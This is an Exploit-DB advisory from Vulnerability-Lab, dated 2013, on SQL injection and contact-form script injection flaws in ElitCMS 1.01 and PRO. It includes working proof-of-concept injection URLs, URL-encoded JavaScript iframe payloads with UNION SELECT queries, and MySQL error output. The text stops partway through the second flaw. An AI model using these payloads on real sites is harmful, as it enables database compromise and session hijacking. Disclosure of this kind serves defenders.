Exploit-DB #29034
Description: Elite Graphix ElitCMS 1.01 / PRO - Multiple Web Vulnerabilities
Type: webapps
Platform: multiple
Date: 2013-10-18
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
Elite Graphix ElitCMS 1.01 & PRO - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1117


Release Date:
=============
2013-10-18


Vulnerability Laboratory ID (VL-ID):
====================================
1117


Common Vulnerability Scoring System:
====================================
8.3


Product & Service Introduction:
===============================
Elite CMS is a web content management system made for the peoples who don`t have much technical knowledge of HTML or 
PHP but know how to use a simple notepad with computer keyboard. Elite CMS Pro is a successor of the eliteCMS . 

Elite CMS was made available free to public last year i.e. 2008. Since then i have received hundreds of appreciation 
email from the users of eliteCMS world wide. Some user of my eliteCMS want some more robust and powerful features. 
Due to the huge response from the users i have decided to write pro edition of eliteCMS.

All new features in pro edition of the eliteCMS is based on the feedbacks and suggestions made by users of eliteCMS 
- The Lightweight CMS. Some users suggested that eliteCMS should have multilevel menu navigation with sub pages support, 
some suggested multiple web forms support for cms pages, some want more flexible and easy to understand template system.

(Copy of the Homepage: http://elitecms.net/elitecmspro.php )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the Elite-Graphix `ElitCMS` v1.01 web-application.


Vulnerability Disclosure Timeline:
==================================
2013-10-18:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Elite Graphix
Product: ElitCMS - Web Application 1.01


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
1.1
A remote sql injection web vulnerability is detected in the official Elite-Graphix `ElitCMS` v1.01 web-application.
The vulnerability allows remote attackers to unauthorized inject own sql commands to compromise the application dbms.

The vulnerability is located in the `page` value of the index.php file. Remote attackers are able to inject own sql 
commands in the page parameter GET method request to compromise the database management system or web-application.
The issue is a classic order by sql injection vulnerability.  

Exploitation of the sql injection web vulnerability requires no user interaction or privileged application user account.
Successful exploitation of the sql injection bug results in database management system and web-application compromise.


Vulnerable Module(s):
				[+] Index

Vulnerable File(s):
				[+] index.php

Vulnerable Parameter(s):
				[+] page



1.2
A client-side post inject web vulnerability is detected in the official Elite Graphix ElitCMS v1.01 web-application.
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests (client-side).

The vulnerability is located in the contact form module of the application in the name value parameter. Remote attackers 
can inject own malicious persistent script codes as name value in the contact form when processing to send via POST method.
The script code execute occurs in the thanks page in the context of the echo name value.

Successful exploitation of the client-side POST inject web vulnerability results in session hijacking, client-side phishing, 
client-side unauthorized external redirects and client-side manipulation of the contact formular module context.


Vulnerable Module(s):
				[+] Contact Formular

Vulnerable File(s):
				[+] page

Vulnerable Parameter(s):
				[+] name


Proof of Concept (PoC):
=======================
1.1
The sql injection web vulnerability can be exploited by remote attackers without privileged application user account 
and also without user interaction. For demonstration or to reproduce ...

PoC: #1 - Standard Edition
http://elit.localhost:8080/elitecms/index.php?page=-1%27[ORDER BY SQL INJECTION VULNERABILITY!]--


Exploit: 

<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3EElit%20CMS%20v1.01%20-
%20SQL%20Injection%20PoC#1-StandardEdition%3C/title%3E%0A%3Ciframe%20src%3Dhttp%3A//cms.localhost%3A8080/elitecms/index.php%3F
page%3D3%27union%20select%20all%201%2C2%2Cx%2Cx%2Cx%2Cx%2C--%20%20width%3D%22733%22%20height%3D%22733%22%3E%0A%3C/
body%3E%3C/head%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>


--- DBMS SQL Exception Logs ---
Database Query failed !
Check Database Settings.
You have an error in your SQL syntax; 
Check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1''' at line 1


PoC: #2 - PRO Edition
http://elit.localhost:8080/index.php?mpage=3&subpage=-1%27[ORDER BY SQL INJECTION VULNERABILITY!]--

<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3EElitCMS%20v1.01%20-
%20SQL%20Injection%20PoC%232%20PRO%20Edition%3C/title%3E%0A%3Ciframe%20src
%3Dhttp%3A//elit.localhost%3A8080/index.php%3Fmpage%3D3%26subpage%3D-7%27union%20select%201%2C2%2C3
%2Cx%2Cx%2Cx%2Cx%2C@@version%2Cx--%3E%0A%3C/body%3E%3C/head%3E%0A%3C/html%3E';d=unescape(m);document.write(d);</script>


--- DBMS SQL Exception Logs ---
Database Query failed !
Check Database Settings.
You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '-'''' at line 1



1.2
The client-side post inject web vulnerability can be exploited by remote attackers without privileged application use